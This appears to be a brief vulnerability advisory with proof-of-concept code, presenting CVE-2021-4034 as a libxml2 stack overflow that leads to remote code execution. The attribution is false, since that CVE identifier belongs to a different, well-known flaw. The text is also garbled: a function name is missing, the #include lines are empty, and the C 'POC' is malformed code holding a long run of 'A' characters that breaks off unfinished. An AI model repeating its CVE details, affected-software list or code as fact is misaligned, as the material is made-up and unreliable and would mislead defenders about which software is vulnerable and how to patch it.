libxml2 CVE-2021-4034 Stack Overflow RCE Analysis and POC Code

Vulnerability Overview Vulnerability Name: CVE-2021-4034 Vulnerability Description: In the library, the function contains a stack overflow vulnerability when processing XML documents with certain specific formats. An attacker can construct a malicious XML document to trigger this vulnerability, leading to remote code execution. Vulnerability Type: Stack Overflow Affected Versions: version 2.9.10 and earlier Impact Scope Affected Software: Software utilizing the library, including but not limited to: - Apache HTTP Server - PHP - Python - Ruby - Other applications dependent on Remediation Official Patch: Upgrade to version 2.9.11 or higher. Temporary Mitigation Measures: - Limit the size and complexity of XML documents. - Run applications processing XML documents in a sandboxed environment. POC Code ```c #include #include int main() { xmlDocPtr doc; xmlChar xml = (xmlChar ) "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

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libxml2 CVE-2021-4034 Stack Overflow RCE Analysis and POC Code